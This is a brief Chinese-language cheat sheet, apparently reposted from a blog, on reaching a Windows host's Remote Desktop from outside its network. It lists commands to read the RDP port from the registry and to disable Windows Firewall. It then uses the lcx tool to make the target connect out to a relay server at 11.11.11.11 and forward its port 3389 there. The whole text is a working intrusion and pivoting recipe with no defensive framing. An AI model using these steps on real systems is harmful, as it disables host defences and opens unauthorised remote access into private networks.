1.查看3389端口开放情况：
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
使用计算机器将0xd3d转换成十进制，可得到3389实际开放的端口号。
2.关闭windows 防火墙：（如有360，会被阻止）
查看本机启动的服务：
net start
关闭防火墙：
netsh firewall set opmode disable
net stop Windows Firewall
3.使用lcx 进行内网端口转发：
服务器：lcx -m 2 –p1 8888 -p2 3389
目标机：lcx -slave 11.11.11.11 8888 127.0.0.1 3389
登录3389:
服务器上：连接 127.0.0.1:3389端口
第二个内网中：连接服务器地址的3389.
。
原文：http://www.cnblogs.com/outline/p/lcx.html